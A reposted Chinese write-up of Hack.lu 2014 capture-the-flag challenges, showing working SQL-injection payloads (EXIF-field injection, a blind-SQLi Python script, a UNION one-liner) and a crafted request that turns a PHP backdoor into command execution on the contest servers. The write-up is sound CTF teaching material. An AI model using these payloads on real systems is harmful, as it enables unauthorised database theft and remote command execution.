

# Hack.lu 2014 Writeup

转载

[weixin\\_33851177](#) 于 2018-03-08 10:53:02 发布 329 收藏

文章标签: [php](#) [python](#) [运维](#)

原文链接: <https://juejin.im/post/5aa1160d6fb9a028c42dc833>

版权

一个狗 · 2014/10/29 14:55

## 0x00 Web 50 Encrypted

Category: Web

Points: 50

Author: TheJH

Description:

Legend says there is a bank vault in Jamestown which cannot be broken into. The only way inside is through an authentication process. Even Jesse James and his companions failed to break the security of this particular bank. Can you do it?

[wildwildweb.fluxfingers.net:1411/](http://wildwildweb.fluxfingers.net:1411/)

能看到一个登录表单，使用用户名**a**和密码**b**登录，看到了链接变成

```
https://wildwildweb.fluxfingers.net:1411/dologin.php?dhre1=FRYRPG+%60anzr%60+SEBZ+%60href%60+JURER+%60anzr
```

复制代码

```
#!/bash
In [22]: hackercodecs.rotx(hackercodecs.urlunquote(a),13)
Out[22]: u"query=SELECT+`name`+FROM+`users`+WHERE+`name`+`'+a'+AND+`password`+`'+MD5('b')"
```

复制代码

去掉后半部分，直接访问：

```
#!/bash
DeAdCaT__$ curl 'https://wildwildweb.fluxfingers.net:1411/dologin.php?dhre1=FRYRPG%20%60anzr%60%20SEBZ%20'
```

复制代码

```
#!/html
<!DOCTYPE html>
<html>
  <head>
    <title>Encrypted Login</title>
  </head>
  <body>
    <h1>Encrypted Login</h1>
    Hello admin! The flag is flag{nobody_needs_server_side_validation}. </body>
  </html>
复制代码
```

## 0x01 Web 200 ImageUpload

Category: Web Points: 200 Author: SLAZ Description: In the Wild Wild Web, there are really bad guys. The sheriff doesn't know them all.

Therefore, he needs your help. Upload pictures of criminals to this site and help the sheriff to arrest them. You can make this Wild Wild Web much less wild!!! Pictures will be deleted on regular basis! Hint: Bruteforce is not necessary to solve the challenge!!! Please don't do this. <https://wildwildweb.fluxfingers.net:1421/>

当你登录之后，你能看到一个上传图片的表单和一个Login，上传了一个小辣椒之后，服务器生成了这么一个图片，并且下方还有一个表格。

我一开始总觉得是要绕过gd的压缩，在各种调教之前的一个绕过gd压缩的代码。后来这个题被凯神秒了，他说这是个exif注入。

于是后来玩了一下，用exiftool。

最终的payload图片的部分exif信息

```
#!/bash
DeAdCaT-2:hack.lu2014 DeAdCaT__$ exiftool test.jpg
ExifTool Version Number      : 9.60
File Name                     : test.jpg
Directory                     : .
File Size                     : 7.2 kB
Artist                        : asd', 'nidaye', (select group_concat(id,0x3a,name,0x3a,password) from users
复制代码
```

在Model处出现数据：

```
#!/bash
1:sheriff:A07eikk0CucCFJ0yyaaQ,2:deputy:testpw
复制代码
```

然后Login，获得fLag。

You are successfully logged in.  
Flag: flag{1\_5h07\_7h3\_5h3r1ff}  
复制代码

## 0x02 Crypto 150 Hidden in plain sight

Category: Crypto

Points: 150

Author: TheJH

Description: At our software development company, one of the top developers left in anger. He told us that he had hidden a backdoor in our node.js server application — he thinks that we can't find it even if we try. I have attached the source code of our fileserver. After registration, you can log in, upload files and create access tokens for your files that others can use to retrieve them. He must have added some way to retrieve files without permission. And we don't have version control, so we can't just check his last commits. We have read the source code multiple times, but just can't figure out how he did it. Maybe he just lied? Can you help us and demonstrate how the backdoor works? We have uploaded a file to testuser/files/flag.txt – please try to retrieve it. Connect to <https://wildwildweb.fluxfingers.net:1409/>. Note that all your files will be purged every 5 minutes. You can download the service code here: [Download](#)

一开始以为是密码题，后来发现是隐写。。。。（机智的lym

一个图片说明问题：

## 0x03 crypto150

下面那个长的像拉长的E的东西是

```
\u0395
```

复制代码

也就是说：

```
HMAC_SECRET = ''
```

复制代码

用python:

```
#!/bash
In [76]: hmac.new('', 'testuser/flag.txt', hashlib.sha256).hexdigest()
Out[76]: '4a332c7f27909f85a529393cea72301393f84cf5908aa2538137776f78624db4'
DeAdCaT__$ curl https://wildwildweb.fluxfingers.net:1409/files/testuser/flag.txt/4a332c7f27909f85a529393ce
flag{unicode_stego_is_best_stego}
复制代码
```

## 0x04 Web 200 Killy The Bit

Category: Web

Points: 200

Author: understrich

Description: Killy the Bit is one of the dangerous kittens of the wild west. He already flipped bits in most of the states and recently hacked the Royal Bank of Fluxembourg (<https://wildwildweb.fluxfingers.net:1424/>). All customer of the bank are now advised to change their password for the next release of the bank's website which will be launched on the 23.10.2014 10:01 CEST. Killy the Bit stands in your debt and sent the following link <https://wildwildweb.fluxfingers.net:1424/index.php>. Can you break the password generation process in order to get access to the admin account? Hint: The challenge won't actually send emails — just concentrate on the website! Hint: The password's column name is passwd. Hint: Blind SQLi is not a good solution. You can get the correct and complete flag with one single request!

狗我比较弱，用的盲注：

```
#!/python
import requests

def binary_sqli(left, right, index):
    while 1:
        mid = (left + right)/2
        if mid == left:
            print chr(mid)
            return chr(mid)
            break
        payload = "" union select name,email from user where name = if(ascii(substr((select passwd from use
        url = 'https://wildwildweb.fluxfingers.net:1424/?name=' + payload + '&submit=Generate'
        r = requests.get(url)
        tmp = r.text
        if len(tmp) < 480:
            right = mid
        else:
            left = mid

if __name__ == '__main__':
    ans = ''
    for i in range(1,65):
        ans += binary_sqli(35, 127, i)
    print ans
```

复制代码

拿到了flag:

```
flag{Killy_The_Bit_Is_Wanted_for_9000_$$_FoR_FlipPing_Bits}
```

复制代码

更优雅的一句话get flag:

```
#!/bash
DeAdCaT__$ http https://wildwildweb.fluxfingers.net:1424/?name=adm%27%20UNION%20select%20passwd,2%20from%2
[1] 49939
DeAdCaT-2:longest-common-prefix DeAdCaT__$ HTTP/1.1 200 OK
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: keep-alive
Content-Encoding: gzip
Content-Type: text/html; charset=UTF-8
Date: Tue, 28 Oct 2014 08:31:24 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Pragma: no-cache
Server: nginx
Set-Cookie: PHPSESSID=qk9aod6reqkf8f2c17qhdo1d12; path=/
Transfer-Encoding: chunked
X-Powered-By: PHP/5.5.9-1ubuntu4.4

<html><head><style type='text/css'><!-- body {background-image: url(bg.jpg);background-repeat: no-repeat;he
Single cows are waiting for you

_____
|I'm a hot single cow!|
-----
\  ^__^
\ (oo)\_______
(____)\       )\/\
||----w |
||     ||

-->We couldn't find your username, but it sounds like this user:<br>flag{Killy_The_Bit_Is_Wanted_for_9000_$
复制代码
```

SQL语句不够溜啊QAQ

## 0x05 Web 200 Next Global Backdoor

Category: Web

Points: 150

Author: reiners

Description: J0nas is a simple man. He specializes in only one thing: Building the most beautiful back doors that you've ever seen. This gem was used in multiple saloons, letting only the most skilled c0wb0ys pass.

<https://wildwildweb.fluxfingers.net:1425/index.php> index.phps

```

#!/php
<?php

$v1 = next(next({'next'}['next']))
// step 1
// @$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']]['next']=next($GLOBALS)['GLOBALS']
// step 2 globals next += 1
//@$GLOBALS=$GLOBALS{next}=$_POST[$GLOBALS['next']]['next']=next($GLOBALS)['GLOBALS'][$next['GLOBALS']]=
// step 3 globals next += 1
// $v2 = $next['next']=$_COOKIE['GLOBALS'];
// @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])][$next['next']
// step 4 globals next += 1
// $GLOBALS[GLOBALS]['GLOBALS'] = $GLOBALS
// $v2 = $next['next']=$_COOKIE['GLOBALS'];
// $v3 = $next['GLOBALS']=$_FILES[$v2]
// @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['n
// step 5
// $v2 = $next['next']=$_COOKIE['GLOBALS'];
// $v3 = $next['GLOBALS']=$_FILES[$v2];
// next($_FILE) = $_FILES[$v2]['type']
// $v4 = $next['GLOBALS']=$_FILES[$v2]['type'];
// @$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
// step 6
$v2 = $next['next']=$_COOKIE['GLOBALS'];
$v3 = $next['GLOBALS']=$_FILES[$v2];
$v4 = $next['GLOBALS']=$_FILES[$v2]['type'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$_COOKIE['GLOBALS']($_FILES[$v2]['type'])]=$v1;

?>
复制代码

```

构造数据包:

```

#!/bash
POST /index.php HTTP/1.1
Host: wildwildweb.fluxfingers.net:1425
Content-Length: 1325
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L
Cookie: GLOBALS=system

-----WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
-----WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="ls"; filename="hello.o"
Content-Type: ls

<file data>
-----WebKitFormBoundaryePkpFF7tjBAqx29L——
复制代码

```

最后cat /flag.txt即可。

```
flag{backdoor_business_is_hard,_fella}
```

复制代码



[创作打卡挑战赛](#) >

[赢取流量/现金/CSDN周边激励大奖](#)